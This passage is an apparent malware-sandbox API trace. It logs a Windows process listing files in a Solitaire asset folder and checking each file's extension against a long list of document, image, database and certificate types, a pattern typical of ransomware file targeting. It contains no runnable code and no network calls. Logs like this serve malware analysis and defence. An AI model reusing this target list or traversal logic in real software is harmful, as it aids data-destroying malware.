returned 119 [0088.866] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\\Assets\\Awards\\spider") returned 1 [0088.866] lstrlenW (lpString="spider") returned 6 [0088.866] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="spider") returned -1 [0088.866] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3df3a58 [0088.866] lstrlenW (lpString="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\\Assets\\Awards\\spider") returned 119 [0088.866] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\\Assets\\Awards\\spider\\*", lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34f97d43, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xac8e55e7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3500a487, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x582b88 [0088.867] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34f97d43, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xac8e55e7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3500a487, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.867] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34f97d43, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x34f97d43, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x34f97d43, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x34a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="2_Piece_Silk_Suit_.png", cAlternateFileName="")) returned 1 [0088.867] lstrlenW (lpString="2_Piece_Silk_Suit_.png") returned 22 [0088.867] lstrlenW (lpString=".1cd") returned 4 [0088.867] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0088.867] lstrlenW (lpString=".3ds") returned 4 [0088.867] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1 [0088.867] lstrlenW (lpString=".3fr") returned 4 [0088.867] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1 [0088.867] lstrlenW (lpString=".3g2") returned 4 [0088.867] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1 [0088.867] lstrlenW (lpString=".3gp") returned 4 [0088.867] lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1 [0088.867] lstrlenW (lpString=".7z") returned 3 [0088.867] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0088.867] lstrlenW (lpString=".accda") returned 6 [0088.867] lstrcmpiW (lpString1=".accda", lpString2="t_.png") returned -1 [0088.869] lstrlenW (lpString=".accdb") returned 6 [0088.870] lstrcmpiW (lpString1=".accdb", lpString2="t_.png") returned -1 [0088.870] lstrlenW (lpString=".accdc") returned 6 [0088.870] lstrcmpiW (lpString1=".accdc", lpString2="t_.png") returned -1 [0088.870] lstrlenW (lpString=".accde") returned 6 [0088.870] lstrcmpiW (lpString1=".accde", lpString2="t_.png") returned -1 [0088.870] lstrlenW (lpString=".accdt") returned 6 [0088.870] lstrcmpiW (lpString1=".accdt", lpString2="t_.png") returned -1 [0088.870] lstrlenW (lpString=".accdw") returned 6 [0088.870] lstrcmpiW (lpString1=".accdw", lpString2="t_.png") returned -1 [0088.870] lstrlenW (lpString=".adb") returned 4 [0088.870] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1 [0088.870] lstrlenW (lpString=".adp") returned 4 [0088.870] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1 [0088.870] lstrlenW (lpString=".ai") returned 3 [0088.870] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1 [0088.870] lstrlenW (lpString=".ai3") returned 4 [0088.870] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1 [0088.870] lstrlenW (lpString=".ai4") returned 4 [0088.870] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1 [0088.870] lstrlenW (lpString=".ai5") returned 4 [0088.870] lstrcmpiW (lpString1=".ai5", lpString2=".png") returned -1 [0088.870] lstrlenW (lpString=".ai6") returned 4 [0088.870] lstrcmpiW (lpString1=".ai6", lpString2=".png") returned -1 [0088.870] lstrlenW (lpString=".ai7") returned 4 [0088.870] lstrcmpiW (lpString1=".ai7", lpString2=".png") returned -1 [0088.870] lstrlenW (lpString=".ai8") returned 4 [0088.870] lstrcmpiW (lpString1=".ai8", lpString2=".png") returned -1 [0088.870] lstrlenW (lpString=".anim") returned 5 [0088.870] lstrcmpiW (lpString1=".anim", lpString2="_.png") returned -1 [0088.870] lstrlenW (lpString=".arw") returned 4 [0088.870] lstrcmpiW (lpString1=".arw", lpString2=".png") returned -1 [0088.870] lstrlenW (lpString=".as") returned 3 [0088.871] lstrcmpiW (lpString1=".as", lpString2="png") returned -1 [0088.871] lstrlenW (lpString=".asa") returned 4 [0088.871] lstrcmpiW (lpString1=".asa", lpString2=".png") returned -1 [0088.871] lstrlenW (lpString=".asc") returned 4 [0088.871] lstrcmpiW (lpString1=".asc", lpString2=".png") returned -1 [0088.871] lstrlenW (lpString=".ascx") returned 5 [0088.871] lstrcmpiW (lpString1=".ascx", lpString2="_.png") returned -1 [0088.871] lstrlenW (lpString=".asm") returned 4 [0088.871] lstrcmpiW (lpString1=".asm", lpString2=".png") returned -1 [0088.871] lstrlenW (lpString=".asmx") returned 5 [0088.871] lstrcmpiW (lpString1=".asmx", lpString2="_.png") returned -1 [0088.871] lstrlenW (lpString=".asp") returned 4 [0088.871] lstrcmpiW (lpString1=".asp", lpString2=".png") returned -1 [0088.871] lstrlenW (lpString=".aspx") returned 5 [0088.871] lstrcmpiW (lpString1=".aspx", lpString2="_.png") returned -1 [0088.871] lstrlenW (lpString=".asr") returned 4 [0088.871] lstrcmpiW (lpString1=".asr", lpString2=".png") returned -1 [0088.871] lstrlenW (lpString=".asx") returned 4 [0088.871] lstrcmpiW (lpString1=".asx", lpString2=".png") returned -1 [0088.871] lstrlenW (lpString=".avi") returned 4 [0088.871] lstrcmpiW (lpString1=".avi", lpString2=".png") returned -1 [0088.871] lstrlenW (lpString=".avs") returned 4 [0088.871] lstrcmpiW (lpString1=".avs", lpString2=".png") returned -1 [0088.871] lstrlenW (lpString=".backup") returned 7 [0088.871] lstrcmpiW (lpString1=".backup", lpString2="it_.png") returned -1 [0088.871] lstrlenW (lpString=".bak") returned 4 [0088.871] lstrcmpiW (lpString1=".bak", lpString2=".png") returned -1 [0088.871] lstrlenW (lpString=".bay") returned 4 [0088.871] lstrcmpiW (lpString1=".bay", lpString2=".png") returned -1 [0088.871] lstrlenW (lpString=".bd") returned 3 [0088.871] lstrcmpiW (lpString1=".bd", lpString2="png") returned -1 [0088.871] lstrlenW (lpString=".bin") returned 4 [0088.871] lstrcmpiW (lpString1=".bin", lpString2=".png") returned -1 [0088.871] lstrlenW (lpString=".bmp") returned 4 [0088.871] lstrcmpiW (lpString1=".bmp", lpString2=".png") returned -1 [0088.871] lstrlenW (lpString=".bz2") returned 4 [0088.871] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0088.871] lstrlenW (lpString=".c") returned 2 [0088.872] lstrcmpiW (lpString1=".c", lpString2="ng") returned -1 [0088.872] lstrlenW (lpString=".cdr") returned 4 [0088.872] lstrcmpiW (lpString1=".cdr", lpString2=".png") returned -1 [0088.872] lstrlenW (lpString=".cer") returned 4 [0088.872] lstrcmpiW (lpString1=".cer", lpString2=".png") returned -1 [0088.872] lstrlenW (lpString=".cf") returned 3 [0088.872] lstrcmpiW (lpString1=".cf", lpString2="png") returned -1 [0088.872] lstrlenW (lpString=".cfc") returned 4 [0088.872] lstrcmpiW (lpString1=".cfc", lpString2=".png") returned -1 [0088.872] lstrlenW (lpString=".cfm") returned 4 [0088.872] lstrcmpiW (lpString1=".cfm", lpString2=".png") returned -1 [0088.872] lstrlenW (lpString=".cfml") returned 5 [0088.872] lstrcmpiW (lpString1=".cfml", lpString2="_.png") returned -1 [0088.872] lstrlenW (lpString=".cfu") returned 4 [0088.872] lstrcmpiW (lpString1=".cfu", lpString2=".png") returned -1 [0088.872] lstrlenW (lpString=".chm") returned 4 [0088.872] lstrcmpiW (lpString1=".chm", lpString2=".png") returned -1 [0088.872] lstrlenW (lpString=".cin") returned 4 [0088.872] lstrcmpiW (lpString1=".cin", lpString2=".png") returned -1 [0088.872] lstrlenW (lpString=".class") returned 6 [0088.872] lstrcmpiW (lpString1=".class", lpString2="t_.png") returned -1 [0088.872] lstrlenW (lpString=".clx") returned 4 [0088.872] lstrcmpiW (lpString1=".clx", lpString2=".png") returned -1 [0088.872] lstrlenW (lpString=".config") returned 7 [0088.872] lstrcmpiW (lpString1=".config", lpString2="it_.png") returned -1 [0088.872] lstrlenW (lpString=".cpp") returned 4 [0088.872] lstrcmpiW (lpString1=".cpp", lpString2=".png") returned -1 [0088.872] lstrlenW (lpString=".cr2") returned 4 [0088.872] lstrcmpiW (lpString1=".cr2", lpString2=".png") returned -1 [0088.872] lstrlenW (lpString=".crt") returned 4 [0088.872] lstrcmpiW (lpString1=".crt", lpString2=".png") returned -1 [0088.872] lstrlenW (lpString=".crw") returned 4 [0088.872] lstrcmpiW (lpString1=".crw", lpString2=".png") returned -1 [0088.872] lstrlenW (lpString=".cs") returned 3 [0088.872] lstrcmpiW (lpString1=".cs", lpString2="png") returned -1 [0088.872] lstrlenW (lpString=".css") returned 4 [0088.872] lstrcmpiW (lpString1=".css", lpString2=".png") returned -1 [0088.872] lstrlenW (lpString=".csv") returned 4 [0088.873] lstrcmpiW (lpString1=".csv", lpString2=".png") returned -1 [0088.873] lstrlenW (lpString=".cub") returned 4 [0088.873] lstrcmpiW (lpString1=".cub", lpString2=".png") returned -1 [0088.873] lstrlenW (lpString=".dae") returned 4 [0088.873] lstrcmpiW (lpString1=".dae", lpString2=".png") returned -1 [0088.873] lstrlenW (lpString=".dat") returned 4 [0088.873] lstrcmpiW (lpString1=".dat", lpString2=".png") returned -1 [0088.873] lstrlenW (lpString=".db") returned 3 [0088.873] lstrcmpiW (lpString1=".db", lpString2="png") returned -1 [0088.873] lstrlenW (lpString=".dbf") returned 4 [0088.873] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0088.873] lstrlenW (lpString=".dbx") returned 4 [0088.873] lstrcmpiW (lpString1=".dbx", lpString2=".png") returned -1 [0088.873] lstrlenW (lpString=".dc3") returned 4 [0088.873] lstrcmpiW (lpString1=".dc3", lpString2=".png") returned -1 [0088.873] lstrlenW (lpString=".dcm") returned 4 [0088.873] lstrcmpiW (lpString1=".dcm", lpString2=".png") returned -1 [0088.873] lstrlenW (lpString=".dcr") returned 4 [0088.873] lstrcmpiW (lpString1=".dcr", lpString2=".png") returned -1 [0088.873] lstrlenW (lpString=".der") returned 4 [0088.873] lstrcmpiW (lpString1=".der", lpString2=".png") returned -1 [0088.873] lstrlenW (lpString=".dib") returned 4 [0088.873] lstrcmpiW (lpString1=".dib", lpString2=".png") returned -1 [0088.873] lstrlenW (lpString=".dic") returned 4 [0088.873] lstrcmpiW (lpString1=".dic", lpString2=".png") returned -1 [0088.873] lstrlenW (lpString=".dif") returned 4 [0088.873] lstrcmpiW (lpString1=".dif", lpString2=".png") returned -1 [0088.873] lstrlenW (lpString=".divx") returned 5 [0088.873] lstrcmpiW (lpString1=".divx", lpString2="_.png") returned -1 [0088.873] lstrlenW (lpString=".djvu") returned 5 [0088.873] lstrcmpiW (lpString1=".djvu", lpString2="_.png") returned -1 [0088.873] lstrlenW (lpString=".dng") returned 4 [0088.873] lstrcmpiW (lpString1=".dng", lpString2=".png") returned -1 [0088.873] lstrlenW (lpString=".doc") returned 4 [0088.873] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0088.873] lstrlenW (lpString=".docm") returned 5 [0088.873] lstrcmpiW (lpString1=".docm", lpString2="_.png") returned -1 [0088.874] lstrlenW (lpString=".docx") returned 5 [0088.874] lstrcmpiW (lpString1=".docx", lpString2="_.png") returned -1 [0088.874] lstrlenW (lpString=".dot") returned 4 [0088.874] lstrcmpiW (lpString1=".dot", lpString2=".png") returned -1 [0088.874] lstrlenW (lpString=".dotm") returned 5 [0088.874] lstrcmpiW (lpString1=".dotm", lpString2="_.png") returned -1 [0088.874] lstrlenW (lpString=".dotx") returned 5 [0088.874] lstrcmpiW (lpString1=".dotx", lpString2="_.png") returned -1 [0088.874] lstrlenW (lpString=".dpx") returned 4 [0088.874] lstrcmpiW (lpString1=".dpx", lpString2=".png") returned -1 [0088.874] lstrlenW (lpString=".dqy") returned 4 [0088.874] lstrcmpiW (lpString1=".dqy", lpString2=".png") returned -1 [0088.874] lstrlenW (lpString=".dsn") returned 4 [0088.874] lstrcmpiW (lpString1=".dsn", lpString2=".png") returned -1 [0088.874] lstrlenW (lpString=".dt") returned 3 [0088.874] lstrcmpiW (lpString1=".dt", lpString2="png") returned -1 [0088.874] lstrlenW (lpString=".dtd") returned 4 [0088.874] lstrcmpiW (lpString1=".dtd", lpString2=".png") returned -1 [0088.874] lstrlenW (lpString=".dwg") returned 4 [0088.874] lstrcmpiW (lpString1=".dwg", lpString2=".png") returned -1 [0088.874] lstrlenW (lpString=".dwt") returned 4 [0088.874] lstrcmpiW (lpString1=".dwt", lpString2=".png") returned -1 [0088.874] lstrlenW (lpString=".dx") returned 3 [0088.874] lstrcmpiW (lpString1=".dx", lpString2="png") returned -1 [0088.874] lstrlenW (lpString=".dxf") returned 4 [0088.874] lstrcmpiW (lpString1=".dxf", lpString2=".png") returned -1 [0088.874] lstrlenW (lpString=".edml") returned 5 [0088.874] lstrcmpiW (lpString1=".edml", lpString2="_.png") returned -1 [0088.874] lstrlenW (lpString=".efd") returned 4 [0088.874] lstrcmpiW (lpString1=".efd", lpString2=".png") returned -1 [0088.874] lstrlenW (lpString=".elf") returned 4 [0088.874] lstrcmpiW (lpString1=".elf", lpString2=".png") returned -1 [0088.874] lstrlenW (lpString=".emf") returned 4 [0088.874] lstrcmpiW (lpString1=".emf", lpString2=".png") returned -1 [0088.874] lstrlenW (lpString=".emz") returned 4 [0088.874] lstrcmpiW (lpString1=".emz", lpString2=".png") returned -1 [0088.874] lstrlenW (lpString=".epf") returned 4 [0088.874] lstrcmpiW (lpString1=".epf", lpString2=".png") returned -1 [0088.875] lstrlenW (lpString=".eps") returned 4 [0088.875] lstrcmpiW (lpString1=".eps", lpString2=".png") returned -1 [0088.875] lstrlenW (lpString=".epsf") returned 5 [0088.875] lstrcmpiW (lpString1=".epsf", lpString2="_.png") returned -1 [0088.875] lstrlenW (lpString=".epsp") returned 5 [0088.875] lstrcmpiW (lpString1=".epsp", lpString2="_.png") returned -1 [0088.875] lstrlenW (lpString=".erf") returned 4 [0088.875] lstrcmpiW (lpString1=".erf", lpString2=".png") returned -1 [0088.875] lstrlenW (lpString=".exr") returned 4 [0088.875] lstrcmpiW (lpString1=".exr", lpString2=".png") returned -1 [0088.875] lstrlenW (lpString=".f4v") returned 4 [0088.875] lstrcmpiW (lpString1=".f4v", lpString2=".png") returned -1 [0088.875] lstrlenW (lpString=".fido") returned 5 [0088.875] lstrcmpiW (lpString1=".fido", lpString2="_.png") returned -1 [0088.875] lstrlenW (lpString=".flm") returned 4 [0088.875] lstrcmpiW (lpString1=".flm", lpString2=".png") returned -1 [0088.875] lstrlenW (lpString=".flv") returned 4 [0088.875] lstrcmpiW (lpString1=".flv", lpString2=".png") returned -1 [0088.875] lstrlenW (lpString=".frm") returned 4 [0088.875] lstrcmpiW (lpString1=".frm", lpString2=".png") returned -1 [0088.875] lstrlenW (lpString=".fxg") returned 4 [0088.875] lstrcmpiW (lpString1=".fxg", lpString2=".png") returned -1 [0088.875] lstrlenW (lpString=".geo") returned 4 [0088.875] lstrcmpiW (lpString1=".geo", lpString2=".png") returned -1 [0088.875] lstrlenW (lpString=".gif") returned 4 [0088.875] lstrcmpiW (lpString1=".gif", lpString2=".png") returned -1 [0088.875] lstrlenW (lpString=".grs") returned 4 [0088.875] lstrcmpiW (lpString1=".grs", lpString2=".png") returned -1 [0088.875] lstrlenW (lpString=".gz") returned 3 [0088.875] lstrcmpiW (lpString1=".gz", lpString2="png") returned -1 [0088.875] lstrlenW (lpString=".h") returned 2 [0088.875] lstrcmpiW (lpString1=".h", lpString2="ng") returned -1 [0088.875] lstrlenW (lpString=".hdr") returned 4 [0088.875] lstrcmpiW (lpString1=".hdr", lpString2=".png") returned -1 [0088.875] lstrlenW (lpString=".hpp") returned 4 [0088.875] lstrcmpiW (lpString1=".hpp", lpString2=".png") returned -1 [0088.875] lstrlenW (lpString=".hta") returned 4 [0088.875] lstrcmpiW (lpString1=".hta", lpString2=".png") returned -1 [0088.876] lstrlenW (lpString=".htc") returned 4 [0088.876] lstrcmpiW (lpString1=".htc", lpString2=".png") returned -1 [0088.876] lstrlenW (lpString=".htm") returned 4 [0088.876] lstrcmpiW (lpString1=".htm", lpString2=".png") returned -1 [0088.876] lstrlenW (lpString=".html") returned 5 [0088.876] lstrcmpiW (lpString1=".html", lpString2="_.png") returned -1 [0088.876] lstrlenW (lpString=".icb") returned 4 [0088.876] lstrcmpiW (lpString1=".icb", lpString2=".png") returned -1 [0088.876] lstrlenW (lpString=".ics") returned 4 [0088.876] lstrcmpiW (lpString1=".ics", lpString2=".png") returned -1 [0088.876] lstrlenW (lpString=".iff") returned 4 [0088.876] lstrcmpiW (lpString1=".iff", lpString2=".png") returned -1 [0088.876] lstrlenW (lpString=".inc") returned 4 [0088.876] lstrcmpiW (lpString1=".inc", lpString2=".png") returned -1 [0088.876] lstrlenW (lpString=".indd") returned 5 [0088.876] lstrcmpiW (lpString1=".indd", lpString2="_.png") returned -1 [0088.876] lstrlenW (lpString=".ini") returned 4 [0088.876] lstrcmpiW (lpString1=".ini", lpString2=".png") returned -1 [0088.876] lstrlenW (lpString=".iqy") returned 4 [0088.876] lstrcmpiW (lpString1=".iqy", lpString2=".png") returned -1 [0088.876] lstrlenW (lpString=".j2c") returned 4 [0088.876] lstrcmpiW (lpString1=".j2c", lpString2=".png") returned -1 [0088.876] lstrlenW (lpString=".j2k") returned 4 [0088.876] lstrcmpiW (lpString1=".j2k", lpString2=".png") returned -1 [0088.876] lstrlenW (lpString=".java") returned 5 [0088.876] lstrcmpiW (lpString1=".java", lpString2="_.png") returned -1 [0088.876] lstrlenW (lpString=".jp2") returned 4 [0088.876] lstrcmpiW (lpString1=".jp2", lpString2=".png") returned -1 [0088.876] lstrlenW (lpString=".jpc") returned 4 [0088.876] lstrcmpiW (lpString1=".jpc", lpString2=".png") returned -1 [0088.876] lstrlenW (lpString=".jpe") returned 4 [0088.876] lstrcmpiW (lpString1=".jpe", lpString2=".png") returned -1 [0088.876] lstrlenW (lpString=".jpeg") returned 5 [0088.876] lstrcmpiW (lpString1=".jpeg", lpString2="_.png") returned -1 [0088.876] lstrlenW (lpString=".jpf") returned 4 [0088.876] lstrcmpiW (lpString1=".jpf", lpString2=".png") returned -1 [0088.876] lstrlenW (lpString=".jpg") returned 4 [0088.876] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0088.876] lstrlenW (lpString=".jpx") returned 4 [0088.877] lstrcmpiW (lpString1=".jpx", lpString2=".png") returned -1 [0088.877] lstrlenW (lpString=".js") returned 3 [0088.877] lstrcmpiW (lpString1=".js", lpString2="png") returned -1 [0088.877] lstrlenW (lpString=".jsf") returned 4 [0088.877] lstrcmpiW (lpString1=".jsf", lpString2=".png") returned -1 [0088.877] lstrlenW (lpString=".json") returned 5 [0088.877] lstrcmpiW (lpString1=".json", lpString2="_.png") returned -1 [0088.877] lstrlenW (lpString=".jsp") returned 4 [0088.877] lstrcmpiW (lpString1=".jsp", lpString2=".png") returned -1 [0088.877] lstrlenW (lpString=".kdc") returned 4 [0088.877] lstrcmpiW (lpString1=".kdc", lpString2=".png") returned -1 [0088.877] lstrlenW (lpString=".kmz") returned 4 [0088.877] lstrcmpiW (lpString1=".kmz", lpString2=".png") returned -1 [0088.877] lstrlenW (lpString=".kwm") returned 4 [0088.877] lstrcmpiW (lpString1=".kwm", lpString2=".png") returned -1 [0088.877] lstrlenW (lpString=".lasso") returned 6 [0088.877] lstrcmpiW (lpString1=".lasso", lpString2="t_.png") returned -1 [0088.877] lstrlenW (lpString=".lbi") returned 4 [0088.877] lstrcmpiW (lpString1=".lbi", lpString2=".png") returned -1 [0088.877] lstrlenW (lpString=".lgf") returned 4 [0088.877] lstrcmpiW (lpString1=".lgf", lpString2=".png") returned -1 [0088.877] lstrlenW (lpString=".lgp") returned 4 [0088.877] lstrcmpiW (lpString1=".lgp", lpString2=".png") returned -1 [0088.877] lstrlenW (lpString=".log") returned 4 [0088.877] lstrcmpiW (lpString1=".log", lpString2=".png") returned -1 [0088.877] lstrlenW (lpString=".m1v") returned 4 [0088.877] lstrcmpiW (lpString1=".m1v", lpString2=".png") returned -1 [0088.877] lstrlenW (lpString=".m4a") returned 4 [0088.877] lstrcmpiW (lpString1=".m4a", lpString2=".png") returned -1 [0088.877] lstrlenW (lpString=".m4v") returned 4 [0088.877] lstrcmpiW (lpString1=".m4v", lpString2=".png") returned -1 [0088.877] lstrlenW (lpString=".max") returned 4 [0088.877] lstrcmpiW (lpString1=".max", lpString2=".png") returned -1 [0088.877] lstrlenW (lpString=".md") returned 3 [0088.877] lstrcmpiW (lpString1=".md", lpString2="png") returned -1 [0088.877] lstrlenW (lpString=".mda") returned 4 [0088.877] lstrcmpiW (lpString1=".mda", lpString2=".png") returned -1 [0088.877] lstrlenW (lpString=".mdb") returned 4 [0088.878] lstrcmpiW (lpString1=".mdb", lpString2=".png") returned -1 [0088.878] lstrlenW (lpString=".mde") returned 4 [0088.878] lstrcmpiW (lpString1=".mde", lpString2=".png") returned -1 [0088.878] lstrlenW (lpString=".mdf") returned 4 [0088.878] lstrcmpiW (lpString1=".mdf", lpString2=".png") returned -1 [0088.878] lstrlenW (lpString=".mdw") returned 4 [0088.878] lstrcmpiW (lpString1=".mdw", lpString2=".png") returned -1 [0088.878] lstrlenW (lpString=".mef") returned 4 [0088.878] lstrcmpiW (lpString1=".mef", lpString2=".png") returned -1 [0088.878] lstrlenW (lpString=".mft") returned 4 [0088.878] lstrcmpiW (lpString1=".mft", lpString2=".png") returned -1 [0088.878] lstrlenW (lpString=".mfw") returned 4 [0088.878] lstrcmpiW (lpString1=".mfw", lpString2=".png") returned -1 [0088.878] lstrlenW (lpString=".mht") returned 4 [0088.878] lstrcmpiW (lpString1=".mht", lpString2=".png") returned -1 [0088.878] lstrlenW (lpString=".mhtml") returned 6 [0088.878] lstrcmpiW (lpString1=".mhtml", lpString2="t_.png") returned -1 [0088.878] lstrlenW (lpString=".mka") returned 4 [0088.878] lstrcmpiW (lpString1=".mka", lpString2=".png") returned -1 [0088.878] lstrlenW (lpString=".mkidx") returned 6 [0088.878] lstrcmpiW (lpString1=".mkidx", lpString2="t_.png") returned -1 [0088.878] lstrlenW (lpString=".mkv") returned 4 [0088.878] lstrcmpiW (lpString1=".mkv", lpString2=".png") returned -1 [0088.878] lstrlenW (lpString=".mos") returned 4 [0088.878] lstrcmpiW (lpString1=".mos", lpString2=".png") returned -1 [0088.878] lstrlenW (lpString=".mov") returned 4 [0088.878] lstrcmpiW (lpString1=".mov", lpString2=".png") returned -1 [0088.878] lstrlenW (lpString=".mp3") returned 4 [0088.878] lstrcmpiW (lpString1=".mp3", lpString2=".png") returned -1 [0088.878] lstrlenW (lpString=".mp4") returned 4 [0088.878] lstrcmpiW (lpString1=".mp4", lpString2=".png") returned -1 [0088.878] lstrlenW (lpString=".mpeg") returned 5 [0088.878] lstrcmpiW (lpString1=".mpeg", lpString2="_.png") returned -1 [0088.878] lstrlenW (lpString=".mpg") returned 4 [0088.878] lstrcmpiW (lpString1=".mpg", lpString2=".png") returned -1 [0088.879] lstrlenW (lpString=".mpv") returned 4 [0088.879] lstrcmpiW (lpString1=".mpv", lpString2=".png") returned -1 [0088.879] lstrlenW (lpString=".mrw") returned 4 [0088.879] lstrcmpiW (lpString1=".mrw", lpString2=".png") returned -1 [0088.879] lstrlenW (lpString=".msg") returned 4 [0088.879] lstrcmpiW (lpString1=".msg", lpString2=".png") returned -1 [0088.879] lstrlenW (lpString=".mxl") returned 4 [0088.879] lstrcmpiW (lpString1=".mxl", lpString2=".png") returned -1 [0088.879] lstrlenW (lpString=".myd") returned 4 [0088.879] lstrcmpiW (lpString1=".myd", lpString2=".png") returned -1 [0088.879] lstrlenW (lpString=".myi") returned 4 [0088.879] lstrcmpiW (lpString1=".myi", lpString2=".png") returned -1 [0088.879] lstrlenW (lpString=".nef") returned 4 [0088.879] lstrcmpiW (lpString1=".nef", lpString2=".png") returned -1 [0088.879] lstrlenW (lpString=".nrw") returned 4 [0088.879] lstrcmpiW (lpString1=".nrw", lpString2=".png") returned -1 [0088.879] lstrlenW (lpString=".obj") returned 4 [0088.879] lstrcmpiW (lpString1=".obj", lpString2=".png") returned -1 [0088.879] lstrlenW (lpString=".odb") returned 4 [0088.879] lstrcmpiW (lpString1=".odb", lpString2=".png") returned -1 [0088.879] lstrlenW (lpString=".odc") returned 4 [0088.879] lstrcmpiW (lpString1=".odc", lpString2=".png") returned -1 [0088.879] lstrlenW (lpString=".odm") returned 4 [0088.879] lstrcmpiW (lpString1=".odm", lpString2=".png") returned -1 [0088.879] lstrlenW (lpString=".odp") returned 4 [0088.879] lstrcmpiW (lpString1=".odp", lpString2=".png") returned -1 [0088.879] lstrlenW (lpString=".ods") returned 4 [0088.879] lstrcmpiW (lpString1=".ods", lpString2=".png") returned -1 [0088.879] lstrlenW (lpString=".oft") returned 4 [0088.879] lstrcmpiW (lpString1=".oft", lpString2=".png") returned -1 [0088.879] lstrlenW (lpString=".one") returned 4 [0088.879] lstrcmpiW (lpString1=".one", lpString2=".png") returned -1 [0088.879] lstrlenW (lpString=".onepkg") returned 7 [0088.879] lstrcmpiW (lpString1=".onepkg", lpString2="it_.png") returned -1 [0088.879] lstrlenW (lpString=".onetoc2") returned 8 [0088.879] lstrcmpiW (lpString1=".onetoc2", lpString2="uit_.png") returned -1 [0088.879] lstrlenW (lpString=".opt") returned 4 [0088.879] lstrcmpiW (lpString1=".opt", lpString2=".png") returned -1 [0088.880] lstrlenW (lpString=".oqy") returned 4 [0088.880] lstrcmpiW (lpString1=".oqy", lpString2=".png") returned -1 [0088.880] lstrlenW (lpString=".orf") returned 4 [0088.880] lstrcmpiW (lpString1=".orf", lpString2=".png") returned -1 [0088.880] lstrlenW (lpString=".p12") returned 4 [0088.880] lstrcmpiW (lpString1=".p12", lpString2=".png") returned -1 [0088.880] lstrlenW (lpString=".p7b") returned 4 [0088.880] lstrcmpiW (lpString1=".p7b", lpString2=".png") returned -1 [0088.880] lstrlenW (lpString=".p7c") returned 4 [0088.880] lstrcmpiW (lpString1=".p7c", lpString2=".png") returned -1 [0088.880] lstrlenW (lpString=".pam") returned 4 [0088.880] lstrcmpiW (lpString1=".pam", lpString2=".png") returned -1 [0088.880] lstrlenW (lpString=".pbm") returned 4 [0088.880] lstrcmpiW (lpString1=".pbm", lpString2=".png") returned -1 [0088.880] lstrlenW (lpString=".pct") returned 4 [0088.880] lstrcmpiW (lpString1=".pct", lpString2=".png") returned -1 [0088.880] lstrlenW (lpString=".pcx") returned 4 [0088.880] lstrcmpiW (lpString1=".pcx", lpString2=".png") returned -1 [0088.880] lstrlenW (lpString=".pdd") returned 4 [0088.880] lstrcmpiW (lpString1=".pdd", lpString2=".png") returned -1 [0088.880] lstrlenW (lpString=".pdf") returned 4 [0088.880] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0088.880] lstrlenW (lpString=".pdp") returned 4 [0088.880] lstrcmpiW (lpString1=".pdp", lpString2=".png") returned -1 [0088.880] lstrlenW (lpString=".pef") returned 4 [0088.880] lstrcmpiW (lpString1=".pef", lpString2=".png") returned -1 [0088.880] lstrlenW (lpString=".pem") returned 4 [0088.881] lstrcmpiW (lpString1=".pem", lpString2=".png") returned -1 [0088.881] lstrlenW (lpString=".pff") returned 4 [0088.881] lstrcmpiW (lpString1=".pff", lpString2=".png") returned -1 [0088.881] lstrlenW (lpString=".pfm") returned 4 [0088.881] lstrcmpiW (lpString1=".pfm", lpString2=".png") returned -1 [0088.881] lstrlenW (lpString=".pfx") returned 4 [0088.881] lstrcmpiW (lpString1=".pfx", lpString2=".png") returned -1 [0088.881] lstrlenW (lpString=".pgm") returned 4 [0088.881] lstrcmpiW (lpString1=".pgm", lpString2=".png") returned -1 [0088.881] lstrlenW (lpString=".php") returned 4 [0088.881] lstrcmpiW (lpString1=".php", lpString2=".png") returned -1 [0088.881] lstrlenW 